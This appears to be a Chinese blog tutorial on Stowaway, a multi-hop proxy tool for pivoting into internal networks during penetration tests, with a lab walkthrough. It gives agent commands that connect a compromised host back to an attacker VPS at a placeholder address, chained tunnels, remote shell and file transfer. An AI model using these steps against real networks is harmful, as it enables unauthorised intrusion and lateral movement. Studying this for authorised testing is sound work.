渗透测试之利用socks工具实现内网穿透2-stowaway的使用
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能Stowaway分为俩个角色,admin为使用的主控端,agent为部署的被控端节点: 指admin || agent主动模式: 指当前操作的节点主动连接另一个节点被动模式: 指当前操作的节点监听某个端口,等待另一个节点
1、项目地址
https://gitee.com/sh3llsas/Stowaway
2、stawaway简介
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具
用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能
3、stawaway角色介绍
Stowaway分为俩个角色,admin为使用的主控端,agent为部署的被控端
a、参数解析
admin
参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP
agent
参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP
Node表示节点
admin选项
(admin) >> help
help 显示帮助信息
detail 展示在线节点的详细信息
topo 展示在线节点的父子关系
use <id> 选择你要使用的目标节点
exit 退出 Stowaway
admin node 选项
(node 0) >> help
help 显示帮助信息
listen 开始监听当前节点的端口
addmemo <string> 为当前节点添加备忘录
delmemo 删除当前节点的备忘录
ssh <ip:port> 通过当前节点启动SSH
shell 在当前节点上启动一个交互式外壳
socks <lport> [username] [pass] 启动一个socks5服务器
stopsocks 关闭socks服务
connect <ip:port> 连接到一个新节点
sshtunnel <ip:sshport> <agent port> 使用sshtunnel将节点添加到我们的拓扑结构中
upload <local filename> <remote filename> 上传文件到当前节点
download <remote filename> <local filename> 从当前节点下载文件
forward <lport> <ip:port> 转发本地端口到特定的远程 ip:port
stopforward 关闭转发服务
backward <rport> <lport> 将远程端口(agent)后退到本地端口(admin)。
stopbackward 关闭backward服务
shutdown 终止当前节点
back 返回到父面板
exit 退出Stowaway
4、名词定义
- 节点: 指admin || agent
- 主动模式: 指当前操作的节点主动连接另一个节点
- 被动模式: 指当前操作的节点监听某个端口,等待另一个节点连接
- 上游: 指当前操作的节点与其父节点之间的流量
- 下游:指当前操作的节点与其所有子节点之间的流量
5、实战操作
这里的靶场拓扑跟上次的frp文章用的一样
a、建立一层代理
1、Vps上启动admin监听
./stowaway_admin -l 9999 -s hack
-l为被动连接,-s指定密钥,可以是任意字符,但是这样目标连接时就要用主动连接且指定密钥
2、target1启动agent
/stowaway_agent -c x.x.x.x:9999 -s hack
x.x.x.x为vpsip
3、vps上开启socks代理(回到admin端)
在admin上可以先topo查看当前存在的节点
use 0
进入刚刚控制的节点
socks 1080
启用socks代理并在vps1080端口启用监听
4、通过proxychains实现对target2的访问
(前提是先配置好proxychains文件,之前的frp文章有介绍,这里就不多赘述了)
proxychains+对22网段机器要执行的命令
b、建立二层代理
1、在node中开启监听(这样是在target1上开启的监听7070端口)
这里用的被动连接,也可以主动连接用connect,这样target2也应当改为被动连接
use 0 //选择节点
listen //在节点的主机当中监听端口,而不是攻击机
1
7070
其中监听的三种模式(一般都是第一个)
Normal passive(普通被动模式):agent(代理节点)会以普通方式监听在目标端口,并等待子节点连入 。这是最普遍使用的模式,若父节点以这种方式监听,子节点仅需要通过 “-c 父节点 ip:port” 的指令格式
IPTables Reuse(IPTables 复用模式):意味着 agent 将会以 IPTables Reuse 的方式复用端口,并等待子节点连入。该模式仅支持 linux 环境下的复用,agent 会自动修改 IPTABLES,需要 root 权限。使用此模式时,将会强制监听在 0.0.0.0,无法由 “-l” 参数来指定 ip 。需要注意,若选择这个模式,用户必须保证当前操作的节点本身就是以端口复用的方式启动的,否则将无法使用 。选择此模式后,节点将会自动使用其自身启动时的参数来复用端口,并准备接受子节点的连接。
SOReuse(SO 复用模式) :表示 agent 将会以 SOReuse(基于 SO_REUSEPORT 和 SO_REUSEADDR 特性 )的方式复用端口,并等待子节点连入。该模式主要支持 windows、mac 环境下的复用,linux 环境亦可但限制较多。同样,若选择此模式,要确保当前操作的节点是以端口复用的方式启动。选择该模式后,节点会自动依据自身启动时的参数来复用端口,以接受子节点连接。
2、target2连接监听端口
./stowaway_agent -c 192.168.22.11:7070 -s hack
此时在攻击机上会发现新上线了一个节点
3、开启socks代理
Admin接受到新的node1节点,进入node1节点开启socks代理(方法跟前面的一样,但端口不能与前面设置的一样不然会冲突)然后测试代理
如果还有新的存货主机就以此类推
Ps:socks port 是在admin节点的主机上监听跟listen不同
Ps:Stowaway的核心原则是:整个节点网络的密钥必须保持一致,否则无法建立连接。就是只要admin启动时指定的密钥,那后续连接时的密钥都是这个,主动链接是需要要指定密钥但被动连接可以不用。如果启动时没指定就都不需要密钥,但建议指定密钥
Ps:上传文件后记得给执行权限还有注意配置proxchanis文件,这几个都是tcp请求
今天也是中秋节啊,在这里祝各位中秋节快乐!
更多推荐
所有评论(0)